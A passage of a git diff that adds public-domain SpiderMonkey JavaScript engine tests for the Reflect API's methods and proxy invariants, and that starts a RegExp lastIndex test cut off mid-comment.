+// For more Reflect.getOwnPropertyDescriptor tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/getPrototypeOf.js b/js/src/tests/non262/Reflect/getPrototypeOf.js
new file mode 100644
index 0000000000..6a29d4a9b2
--- /dev/null
+++ b/js/src/tests/non262/Reflect/getPrototypeOf.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.getPrototypeOf returns an object's prototype.
+assertEq(Reflect.getPrototypeOf({}), Object.prototype);
+assertEq(Reflect.getPrototypeOf(Object.prototype), null);
+assertEq(Reflect.getPrototypeOf(Object.create(null)), null);
+
+var proxy = new Proxy({}, {
+ getPrototypeOf(t) { return Math; }
+});
+
+assertEq(Reflect.getPrototypeOf(proxy), Math);
+
+// For more Reflect.getPrototypeOf tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/has.js b/js/src/tests/non262/Reflect/has.js
new file mode 100644
index 0000000000..6019a61ed3
--- /dev/null
+++ b/js/src/tests/non262/Reflect/has.js
@@ -0,0 +1,41 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.has is identical to the `in` operator.
+assertEq(Reflect.has({x: 0}, "x"), true);
+assertEq(Reflect.has({x: 0}, "y"), false);
+assertEq(Reflect.has({x: 0}, "toString"), true);
+
+// The target can be an array; Reflect.has works on array elements.
+var arr = ["zero"];
+arr[10000] = 0;
+assertEq(Reflect.has(arr, "10000"), true);
+assertEq(Reflect.has(arr, 10000), true);
+assertEq(Reflect.has(arr, "-0"), false);
+assertEq(Reflect.has(arr, -0), true);
+
+// And string objects (though not string primitives; see target.js).
+var str = new String("hello");
+assertEq(Reflect.has(str, "4"), true);
+assertEq(Reflect.has(str, "-0"), false);
+assertEq(Reflect.has(str, -0), true);
+
+// Proxy without .has() handler method
+var obj = {get prop() {}};
+for (var i = 0; i < 2; i++) {
+ obj = new Proxy(obj, {});
+ assertEq(Reflect.has(obj, "prop"), true);
+ assertEq(Reflect.has(obj, "nope"), false);
+}
+
+// Proxy with .has() handler method
+obj = new Proxy({}, {
+ has(t, k) { return k.startsWith("door"); }
+});
+assertEq(Reflect.has(obj, "doorbell"), true);
+assertEq(Reflect.has(obj, "dormitory"), false);
+
+
+// For more Reflect.has tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/isExtensible.js b/js/src/tests/non262/Reflect/isExtensible.js
new file mode 100644
index 0000000000..f38724875d
--- /dev/null
+++ b/js/src/tests/non262/Reflect/isExtensible.js
@@ -0,0 +1,57 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.isExtensible behaves just like Object.extensible except when the
+// target argument is missing or is not an object (and that behavior is tested
+// in target.js).
+
+// Test basic functionality.
+var someObjects = [
+ {},
+ {a: "a"},
+ [0, 1],
+ new Uint8Array(64),
+ Object(Symbol("table")),
+ new Proxy({}, {})
+];
+if (typeof SharedArrayBuffer != "undefined")
+ someObjects.push(new Uint8Array(new SharedArrayBuffer(64)));
+
+for (var obj of someObjects) {
+ assertEq(Reflect.isExtensible(obj), true);
+ assertEq(Reflect.preventExtensions(obj), true);
+ assertEq(Reflect.isExtensible(obj), false);
+}
+
+// Array with nonwritable length.
+var arr = [0, 1, 2, 3];
+Object.defineProperty(arr, "length", {writable: false});
+assertEq(Reflect.isExtensible(arr), true);
+
+// Proxy case.
+for (var ext of [true, false]) {
+ var obj = {};
+ if (!ext)
+ Object.preventExtensions(obj);
+ var proxy = new Proxy(obj, {
+ isExtensible() { return ext; }
+ });
+ assertEq(Reflect.isExtensible(proxy), ext);
+}
+
+// If a Proxy's isExtensible method throws, the exception is propagated.
+proxy = new Proxy({}, {
+ isExtensible() { throw "oops"; }
+});
+assertThrowsValue(() => Reflect.isExtensible(proxy), "oops");
+
+// If an invariant is broken, [[IsExtensible]] does not return false. It throws
+// a TypeError.
+proxy = new Proxy({}, {
+ isExtensible() { return false; }
+});
+assertThrowsInstanceOf(() => Reflect.isExtensible(proxy), TypeError);
+
+// For more Reflect.isExtensible tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/ownKeys.js b/js/src/tests/non262/Reflect/ownKeys.js
new file mode 100644
index 0000000000..5433562eb5
--- /dev/null
+++ b/js/src/tests/non262/Reflect/ownKeys.js
@@ -0,0 +1,66 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.ownKeys(obj) returns an array of an object's own property keys.
+
+// Test that Reflect.ownKeys gets the expected result when applied to various
+// objects. (These tests also check the basics: that the result is an array,
+// that its prototype is correct, etc.)
+var sym = Symbol.for("comet");
+var sym2 = Symbol.for("meteor");
+var cases = [
+ {object: {z: 3, y: 2, x: 1},
+ keys: ["z", "y", "x"]},
+ {object: [],
+ keys: ["length"]},
+ {object: new Int8Array(4),
+ keys: ["0", "1", "2", "3"]},
+ {object: new Proxy({a: 7}, {}),
+ keys: ["a"]},
+ {object: {[sym]: "ok"},
+ keys: [sym]},
+ {object: {[sym]: 0, // test 9.1.12 ordering
+ "str": 0,
+ "773": 0,
+ "0": 0,
+ [sym2]: 0,
+ "-1": 0,
+ "8": 0,
+ "second str": 0},
+ keys: ["0", "8", "773", // indexes in numeric order
+ "str", "-1", "second str", // strings in insertion order
+ sym, sym2]}, // symbols in insertion order
+ {object: newGlobal().Math, // cross-compartment wrapper
+ keys: Reflect.ownKeys(Math)}
+];
+for (var {object, keys} of cases)
+ assertDeepEq(Reflect.ownKeys(object), keys);
+
+// Reflect.ownKeys() creates a new array each time it is called.
+var object = {}, keys = [];
+for (var i = 0; i < 3; i++) {
+ var newKeys = Reflect.ownKeys(object);
+ assertEq(newKeys !== keys, true);
+ keys = newKeys;
+}
+
+// Proxy behavior with successful ownKeys() handler
+keys = ["str", "0"];
+obj = {};
+proxy = new Proxy(obj, {
+ ownKeys() { return keys; }
+});
+var actual = Reflect.ownKeys(proxy);
+assertDeepEq(actual, keys); // we get correct answers
+assertEq(actual !== keys, true); // but not the same object
+
+// If a proxy breaks invariants, a TypeError is thrown.
+var obj = Object.preventExtensions({});
+var proxy = new Proxy(obj, {
+ ownKeys() { return ["something"]; }
+});
+assertThrowsInstanceOf(() => Reflect.ownKeys(proxy), TypeError);
+
+// For more Reflect.ownKeys tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/preventExtensions.js b/js/src/tests/non262/Reflect/preventExtensions.js
new file mode 100644
index 0000000000..63ca2545b4
--- /dev/null
+++ b/js/src/tests/non262/Reflect/preventExtensions.js
@@ -0,0 +1,56 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.preventExtensions is the same as Object.preventExtensions, except
+// for the return value and the behavior in error cases.
+
+var someObjects = [
+ {},
+ new Int32Array(7),
+ Object(Symbol("table")),
+ new Proxy({}, {})
+];
+
+for (var obj of someObjects) {
+ assertEq(Reflect.preventExtensions(obj), true);
+ // [[PreventExtensions]] on an already-inextensible object is a no-op.
+ assertEq(Reflect.preventExtensions(obj), true);
+}
+
+// Error cases.
+assertThrowsInstanceOf(() => Reflect.isExtensible(), TypeError);
+for (var value of [undefined, null, true, 1, NaN, "Phaedo", Symbol("good")]) {
+ assertThrowsInstanceOf(() => Reflect.isExtensible(value), TypeError);
+}
+
+// A proxy's preventExtensions handler can return false without doing anything.
+obj = {};
+var proxy = new Proxy(obj, {
+ preventExtensions() { return false; }
+});
+assertEq(Reflect.preventExtensions(proxy), false);
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// If a proxy's preventExtensions handler throws, the exception is propagated.
+obj = {};
+proxy = new Proxy(obj, {
+ preventExtensions() { throw "fit"; }
+});
+assertThrowsValue(() => Reflect.preventExtensions(proxy), "fit");
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// If a proxy's preventExtensions handler returns true while leaving the target
+// extensible, that's a TypeError.
+obj = {};
+proxy = new Proxy(obj, {
+ preventExtensions() { return true; }
+});
+assertThrowsInstanceOf(() => Reflect.preventExtensions(proxy), TypeError);
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// For more Reflect.preventExtensions tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/propertyKeys.js b/js/src/tests/non262/Reflect/propertyKeys.js
new file mode 100644
index 0000000000..6495a96fd9
--- /dev/null
+++ b/js/src/tests/non262/Reflect/propertyKeys.js
@@ -0,0 +1,84 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test corner cases involving Reflect methods' propertyKey arguments.
+
+// keys - Array of propertyKey values to be tested.
+//
+// Each element of this array is a record with these properties:
+//
+// * value: a value that will be passed as a property key
+// to the various Reflect methods;
+//
+// * expected: (optional) the string or symbol that ToPropertyKey(value)
+// should return. If this is omitted, ToPropertyKey(value) === value.
+//
+var keys = [
+ {value: null, expected: "null"},
+ {value: undefined, expected: "undefined"},
+ {value: true, expected: "true"},
+ {value: 42, expected: "42"},
+ {value: "string"},
+ {value: ""},
+ {value: "string with \0"},
+ {value: new String("ok"), expected: "ok"},
+ {value: Symbol("sym")},
+ {value: Symbol.iterator},
+ {value: Object(Symbol.for("comet")), expected: Symbol.for("comet")},
+ {
+ value: {
+ toString() { return "key"; },
+ valueOf() { return "bad"; }
+ },
+ expected: "key"
+ },
+ {
+ value: {
+ toString: undefined,
+ valueOf() { return "fallback"; }
+ },
+ expected: "fallback"
+ },
+ {
+ value: {
+ [Symbol.toPrimitive](hint) { return hint; }
+ },
+ expected: "string"
+ },
+ {
+ value: {
+ [Symbol.toPrimitive](hint) { return Symbol.for(hint); }
+ },
+ expected: Symbol.for("string")
+ }
+];
+
+for (var {value, expected} of keys) {
+ if (expected === undefined)
+ expected = value;
+
+ var obj = {};
+ assertEq(Reflect.defineProperty(obj, value, {value: 1, configurable: true}), true);
+ assertDeepEq(Reflect.ownKeys(obj), [expected]);
+ assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, value),
+ {value: 1,
+ writable: false,
+ enumerable: false,
+ configurable: true});
+ assertEq(Reflect.deleteProperty(obj, value), true);
+ assertEq(Reflect.has(obj, value), false);
+ assertEq(Reflect.set(obj, value, 113), true);
+ assertEq(obj[expected], 113);
+ assertEq(Reflect.has(obj, value), true);
+ assertEq(Reflect.get(obj, value), 113);
+}
+
+// ToPropertyKey can throw.
+var exc = {};
+var badKey = {toString() { throw exc; }};
+var methodNames = ["defineProperty", "deleteProperty", "has", "get", "getOwnPropertyDescriptor", "set"];
+for (var name of methodNames) {
+ assertThrowsValue(() => Reflect[name]({}, badKey), exc);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/set.js b/js/src/tests/non262/Reflect/set.js
new file mode 100644
index 0000000000..83cd98b691
--- /dev/null
+++ b/js/src/tests/non262/Reflect/set.js
@@ -0,0 +1,280 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.set does property assignment.
+// With three arguments, this is pretty straightforward.
+var obj = {};
+assertEq(Reflect.set(obj, "prop", "value"), true);
+assertEq(obj.prop, "value");
+
+
+// === Various targets
+
+// It can assign array elements.
+var arr = ["duck", "duck", "duck"];
+assertEq(Reflect.set(arr, 2, "goose"), true);
+assertEq(arr[2], "goose");
+
+// It can extend an array.
+assertEq(Reflect.set(arr, 3, "Model T"), true);
+assertEq(arr.length, 4);
+
+// It can truncate an array.
+assertEq(Reflect.set(arr, "length", 1), true);
+assertDeepEq(arr, ["duck"]);
+
+// It won't assign to non-writable properties of String objects.
+var str = new String("hello");
+assertEq(Reflect.set(str, "0", "y"), false);
+assertEq(str[0], "h");
+assertEq(Reflect.set(str, "length", 700), false);
+assertEq(str.length, 5);
+
+
+// === Receivers
+// The optional fourth argument is the receiver, which [[Set]] methods use for
+// various things.
+
+// On ordinary objects, if the property has a setter, the receiver is passed as
+// the this-value to the setter.
+var expected;
+var obj = {
+ set prop(v) {
+ "use strict";
+ assertEq(v, 32);
+ assertEq(this, expected);
+ }
+};
+for (expected of [obj, {}, [], 37.3]) {
+ assertEq(Reflect.set(obj, "prop", 32, expected), true);
+}
+
+// If the property doesn't already exist, it is defined on the receiver.
+obj = {};
+var obj2 = {};
+assertEq(Reflect.set(obj, "prop", 47, obj2), true);
+assertDeepEq(obj, {});
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj2, "prop"),
+ {value: 47, writable: true, enumerable: true, configurable: true});
+
+// If the property doesn't already exist, and the receiver isn't an object, return false.
+for (var v of SOME_PRIMITIVE_VALUES) {
+ assertEq(Reflect.set({}, "x", 0, v), false);
+}
+
+// Receiver defaults to the target.
+obj = {};
+var hits;
+var expectedReceiver;
+var proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(k, "key");
+ assertEq(v, "value");
+ assertEq(r, expectedReceiver); // not obj
+ hits++;
+ return true;
+ }
+});
+hits = 0;
+expectedReceiver = proxy;
+assertEq(Reflect.set(proxy, "key", "value"), true);
+assertEq(hits, 1);
+
+// But not if explicitly present and undefined.
+hits = 0;
+expectedReceiver = undefined;
+assertEq(Reflect.set(proxy, "key", "value", undefined), true);
+assertEq(hits, 1);
+
+// Reflect.set can be used as fallback behavior in a proxy handler .set()
+// method.
+var log;
+obj = {
+ set prop(v) {
+ log += "p";
+ assertEq(v, "value");
+ assertEq(this, proxy); // not obj!
+ }
+};
+proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(r, proxy);
+ log += "s";
+ return Reflect.set(t, k, v, r);
+ }
+});
+log = "";
+assertEq(Reflect.set(proxy, "prop", "value"), true);
+assertEq(log, "sp");
+
+
+// === Cross-compartment wrapper behavior.
+
+// When calling a cross-compartment wrapper, receiver is rewrapped for the
+// target compartment.
+var g = newGlobal();
+if (!("assertEq" in g))
+ g.assertEq = assertEq; // necessary in the browser
+g.eval(`
+ var hits;
+ var obj = {
+ set x(v) {
+ "use strict";
+ assertEq(this, receiver);
+ assertEq(v, "xyzzy");
+ hits++;
+ }
+ };
+ var receiver = {};
+`);
+g.hits = 0;
+assertEq(Reflect.set(g.obj, "x", "xyzzy", g.receiver), true);
+assertEq(g.hits, 1);
+
+// ...even when receiver is from a different compartment than target.
+var receiver = {};
+g.receiver = receiver;
+g.hits = 0;
+assertEq(Reflect.set(g.obj, "x", "xyzzy", receiver), true);
+assertEq(g.hits, 1);
+
+// ...even when receiver is a primtive value, even undefined.
+for (receiver of SOME_PRIMITIVE_VALUES) {
+ g.receiver = receiver;
+ g.hits = 0;
+ assertEq(Reflect.set(g.obj, "x", "xyzzy", receiver), true);
+ assertEq(g.hits, 1);
+}
+
+
+// === Less than 3 arguments
+
+// With two arguments, the value is assumed to be undefined.
+obj = {};
+assertEq(Reflect.set(obj, "size"), true);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "size"),
+ {value: undefined, writable: true, enumerable: true, configurable: true});
+
+// With just one argument, the key is "undefined".
+obj = {};
+assertEq(Reflect.set(obj), true);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "undefined"),
+ {value: undefined, writable: true, enumerable: true, configurable: true});
+
+// For the no argument-case, see target.js.
+
+
+// === Failure cases
+
+// Non-writable data property
+obj = {};
+Reflect.defineProperty(obj, "x", {value: 0, writable: false});
+assertEq(Reflect.set(obj, "x", 1), false);
+assertEq(obj.x, 0);
+
+// The same, but inherited from a prototype
+var obj2 = Object.create(obj);
+assertEq(Reflect.set(obj2, "x", 1), false);
+assertEq(obj2.hasOwnProperty("x"), false);
+assertEq(obj2.x, 0);
+
+// Getter, no setter
+obj = {};
+var desc = {get: () => 12, set: undefined, enumerable: false, configurable: true};
+Reflect.defineProperty(obj, "y", desc);
+assertEq(Reflect.set(obj, "y", 13), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "y"), desc);
+
+// The same, but inherited from a prototype
+obj2 = Object.create(obj);
+assertEq(Reflect.set(obj2, "y", 1), false);
+assertEq(obj2.hasOwnProperty("y"), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "y"), desc);
+
+// Proxy set handler returns a false value
+for (var no of [false, ""]) {
+ var hits = 0;
+ obj = {};
+ var proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(k, "x");
+ assertEq(v, 33);
+ assertEq(r, proxy);
+ hits++;
+ return no;
+ }
+ });
+ assertEq(Reflect.set(proxy, "x", 33), false);
+ assertEq(hits, 1);
+ assertEq("x" in obj, false);
+}
+
+// Proxy handler method throws
+obj = {};
+proxy = new Proxy(obj, {
+ set(t, k, v, r) { throw "i don't like " + v; }
+});
+assertThrowsValue(() => Reflect.set(proxy, "food", "cheese"), "i don't like cheese");
+
+// If a Proxy set handler breaks the object invariants, it's a TypeError.
+for (obj of [{a: 0}, {get a() { return 0; }}]) {
+ Object.freeze(obj);
+ proxy = new Proxy(obj, {
+ set(t, k, v, r) { return true; }
+ });
+ assertThrowsInstanceOf(() => Reflect.set(proxy, "a", "b"), TypeError);
+}
+
+// Per spec, this should first call p.[[Set]]("0", 42, a) and
+// then (since p has no own properties) a.[[Set]]("0", 42, a).
+// The latter should not define a property on p.
+var a = [0, 1, 2, 3];
+var p = Object.create(a);
+Reflect.set(p, "0", 42, a);
+assertEq(p.hasOwnProperty("0"), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(a, "0"),
+ {value: 42, writable: true, enumerable: true, configurable: true});
+
+// Test behavior of ordinary objects' [[Set]] method (ES6 9.1.9).
+// On an ordinary object, if the property key isn't present, [[Set]] calls
+// receiver.[[GetOwnProperty]]() and then receiver.[[DefineProperty]]().
+var log;
+obj = {};
+var proxyTarget = {};
+var existingDescriptor, expected, defineResult;
+var receiver = new Proxy(proxyTarget, {
+ getOwnPropertyDescriptor(t, k) {
+ log += "g";
+ return existingDescriptor;
+ },
+ defineProperty(t, k, desc) {
+ log += "d";
+ assertEq(t, proxyTarget);
+ assertEq(k, "prop");
+ assertDeepEq(desc, expected);
+ return defineResult;
+ }
+});
+existingDescriptor = undefined;
+expected = {value: 5, writable: true, enumerable: true, configurable: true};
+for (var defineResult of [true, false]) {
+ log = "";
+ assertEq(Reflect.set(obj, "prop", 5, receiver), defineResult);
+ assertEq(log, "gd");
+}
+
+existingDescriptor = {value: 7, writable: true, enumerable: false, configurable: true};
+expected = {value: 4};
+for (var defineResult of [true, false]) {
+ log = "";
+ assertEq(Reflect.set(obj, "prop", 4, receiver), defineResult);
+ assertEq(log, "gd");
+}
+
+
+// For more Reflect.set tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/setPrototypeOf.js b/js/src/tests/non262/Reflect/setPrototypeOf.js
new file mode 100644
index 0000000000..ed7857a028
--- /dev/null
+++ b/js/src/tests/non262/Reflect/setPrototypeOf.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.setPrototypeOf changes an object's [[Prototype]].
+var obj = {};
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+var proto = {};
+assertEq(Reflect.setPrototypeOf(obj, proto), true);
+assertEq(Object.getPrototypeOf(obj), proto);
+
+// It can change an object's [[Prototype]] to null.
+obj = {};
+assertEq(Reflect.setPrototypeOf(obj, null), true);
+assertEq(Object.getPrototypeOf(obj), null);
+
+// The proto argument is required too.
+obj = {};
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(obj), TypeError);
+
+// The proto argument must be either null or an object.
+for (proto of [undefined, false, 0, 1.6, "that", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => Reflect.setPrototypeOf(obj, proto), TypeError);
+}
+
+// Return false if the target isn't extensible.
+proto = {};
+obj = Object.preventExtensions(Object.create(proto));
+assertEq(Reflect.setPrototypeOf(obj, {}), false);
+assertEq(Reflect.setPrototypeOf(obj, null), false);
+assertEq(Reflect.setPrototypeOf(obj, proto), true); // except if not changing anything
+
+// Return false rather than create a [[Prototype]] cycle.
+obj = {};
+assertEq(Reflect.setPrototypeOf(obj, obj), false);
+
+// Don't create a [[Prototype]] cycle involving 2 objects.
+obj = Object.create(proto);
+assertEq(Reflect.setPrototypeOf(proto, obj), false);
+
+// Don't create a longish [[Prototype]] cycle.
+for (var i = 0; i < 256; i++)
+ obj = Object.create(obj);
+assertEq(Reflect.setPrototypeOf(proto, obj), false);
+
+// The spec claims we should allow creating cycles involving proxies. (The
+// cycle check quietly exits on encountering the proxy.)
+obj = {};
+var proxy = new Proxy(Object.create(obj), {});
+
+assertEq(Reflect.setPrototypeOf(obj, proxy), true);
+assertEq(Reflect.getPrototypeOf(obj), proxy);
+assertEq(Reflect.getPrototypeOf(proxy), obj);
+
+// If a proxy handler returns a false-y value, return false.
+var hits = 0;
+proto = {name: "proto"};
+obj = {name: "obj"};
+proxy = new Proxy(obj, {
+ setPrototypeOf(t, p) {
+ assertEq(t, obj);
+ assertEq(p, proto);
+ hits++;
+ return 0;
+ }
+});
+
+assertEq(Reflect.setPrototypeOf(proxy, proto), false);
+assertEq(hits, 1);
+
+// For more Reflect.setPrototypeOf tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/shell.js b/js/src/tests/non262/Reflect/shell.js
new file mode 100644
index 0000000000..2aa5397ed9
--- /dev/null
+++ b/js/src/tests/non262/Reflect/shell.js
@@ -0,0 +1,9 @@
+// List of a few values that are not objects.
+var SOME_PRIMITIVE_VALUES = [
+ undefined, null,
+ false,
+ -Infinity, -1.6e99, -1, -0, 0, Math.pow(2, -1074), 1, 4294967295,
+ Number.MAX_SAFE_INTEGER, Number.MAX_SAFE_INTEGER + 1, 1.6e99, Infinity, NaN,
+ "", "Phaedo",
+ Symbol(), Symbol("iterator"), Symbol.for("iterator"), Symbol.iterator
+];
diff --git a/js/src/tests/non262/Reflect/surfaces.js b/js/src/tests/non262/Reflect/surfaces.js
new file mode 100644
index 0000000000..f3bac51873
--- /dev/null
+++ b/js/src/tests/non262/Reflect/surfaces.js
@@ -0,0 +1,59 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check surface features of the Reflect object.
+assertEq(typeof Reflect, 'object');
+assertEq(Object.getPrototypeOf(Reflect), Object.prototype);
+assertEq(Reflect.toString(), '[object Reflect]');
+assertThrowsInstanceOf(() => new Reflect, TypeError);
+
+var desc = Object.getOwnPropertyDescriptor(this, "Reflect");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+assertEq(desc.writable, true);
+
+for (const name in Reflect)
+ throw new Error("Reflect should not have any enumerable properties");
+
+// The name and length of all the standard Reflect methods.
+var methods = {
+ apply: 3,
+ construct: 2,
+ defineProperty: 3,
+ deleteProperty: 2,
+ get: 2,
+ getOwnPropertyDescriptor: 2,
+ getPrototypeOf: 1,
+ has: 2,
+ isExtensible: 1,
+ ownKeys: 1,
+ preventExtensions: 1,
+ set: 3,
+ setPrototypeOf: 2
+};
+
+// Check that all Reflect properties are listed above.
+for (const name of Reflect.ownKeys(Reflect)) {
+ // If this assertion fails, congratulations on implementing a new Reflect feature!
+ // Add it to the list of methods above.
+ if (typeof name !== "symbol" && name !== "parse")
+ assertEq(name in methods, true, `unexpected property found: Reflect.${name}`);
+}
+
+// Check the .length and property attributes of each Reflect method.
+for (const name of Object.keys(methods)) {
+ var desc = Object.getOwnPropertyDescriptor(Reflect, name);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.writable, true);
+ var f = desc.value;
+ assertEq(typeof f, "function");
+ assertEq(f.length, methods[name]);
+}
+
+// Check that the SpiderMonkey "resolve hook" mechanism does not resurrect the
+// Reflect property once it is deleted.
+delete this.Reflect;
+assertEq("Reflect" in this, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/target.js b/js/src/tests/non262/Reflect/target.js
new file mode 100644
index 0000000000..f35fe816ad
--- /dev/null
+++ b/js/src/tests/non262/Reflect/target.js
@@ -0,0 +1,44 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check correct handling of the `target` argument shared by every Reflect method.
+
+// For each standard Reflect method, an array of arguments
+// that would be OK after a suitable target argument.
+var methodInfo = {
+ apply: [undefined, []],
+ construct: [[]],
+ defineProperty: ["x", {}],
+ deleteProperty: ["x"],
+ get: ["x", {}],
+ getOwnPropertyDescriptor: ["x"],
+ getPrototypeOf: [],
+ has: ["x"],
+ isExtensible: [],
+ ownKeys: [],
+ preventExtensions: [],
+ set: ["x", 0],
+ setPrototypeOf: [{}]
+};
+
+// Check that all Reflect properties are listed above.
+for (const name of Reflect.ownKeys(Reflect)) {
+ // If this assertion fails, congratulations on implementing a new Reflect feature!
+ // Add it to methodInfo above.
+ if (typeof name !== "symbol" && name !== "parse")
+ assertEq(name in methodInfo, true);
+}
+
+for (const name of Object.keys(methodInfo)) {
+ var args = methodInfo[name];
+
+ // The target argument is required.
+ assertThrowsInstanceOf(Reflect[name], TypeError);
+
+ // Throw if the target argument is not an object.
+ for (var value of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect[name](value, ...args), TypeError);
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/15.10.5-01.js b/js/src/tests/non262/RegExp/15.10.5-01.js
new file mode 100644
index 0000000000..2f8429218a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/15.10.5-01.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614603;
+var summary = "RegExp.length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(RegExp.length, 2);
+assertEq(/a/.constructor.length, 2);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/15.10.6.2-2.js b/js/src/tests/non262/RegExp/15.10.6.2-2.js
new file mode 100644
index 0000000000..3dfb6ac74f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/15.10.6.2-2.js
@@ -0,0 +1,292 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 Feb 2002
+ * SUMMARY: Testing re.exec(str) when re.lastIndex is < 0 or > str.length
+ *
+ * Case 1: If re has the global flag set, then re(str) should be null
+ * Case 2: If re doesn't have this set, then re(str) should be unaffected
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76717
+ *
+ *
+ * From the ECMA-262 Final spec:
+ *
+ * 15.10.6.2 RegExp.prototype.exec(string)
+ * Performs a regular expression match of string against the regular
+ * expression and returns an Array object containing the results of
+ * the match, or null if the string did not match.
+ *
+ * The string ToString(string) is searched for an occurrence of the
+ * regular expression pattern as follows:
+ *
+ * 1. Let S be the value of ToString(string).
+ * 2. Let length be the length of S.
+ * 3. Let lastIndex be the value of the lastIndex property.
+ * 4. Let i be the value of ToInteger(lastIndex).
+ * 5. If the global property is false, let i = 0.
+ * 6. If i < 0 or i > length then set lastIndex to 0 and return null.
+ * 7. Call [[Match]], giving it the arguments S and i.
+ * If [[Match]] returned failure, go to step 8;
+ * otherwise let r be its State result and go to step 10.
+ * 8. Let i = i+1.
+ * 9. Go to step 6.
+ * 10. Let e be r's endIndex value.
+ * 11. If the global property is true, set lastIndex to e.
+ *
+ * etc.
+ *
+ *
+ * So:
+ *
+ * A. If the global flag is not set, |lastIndex| is set to 0
+ * before the match is attempted; thus the match is unaffected.
+ *
+ * B. If the global flag IS set and re.lastIndex is >= 0 and <= str.length,
+ * |lastIndex| is incremented every time there is a match; not from
+ * i to i+1, but from i to "endIndex" e:
+ *
+ * e = (index of last input character matched so far by the pattern) + 1
+ *
+ * The match is then attempted from this position in the string (Step 7).
+ *
+ * C. When the global flag IS set and re.lastIndex is < 0 or > str.length,
+ * |lastIndex| is set to 0 and the match returns null.
+ *
+ *
+ * Note the |lastIndex| property is writeable, and may be set arbitrarily
+ * by the programmer - and we will do that below.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 76717;
+var summary = 'Testing re.exec(str) when re.lastIndex is < 0 or > str.length';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/******************************************************************************
+ *
+ * Case 1 : when the global flag is set -
+ *
+ *****************************************************************************/
+pattern = /abc/gi;
+string = 'AbcaBcabC';
+
+status = inSection(1);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc');
+addThis();
+
+status = inSection(2);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('aBc');
+addThis();
+
+status = inSection(3);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('abC');
+addThis();
+
+/*
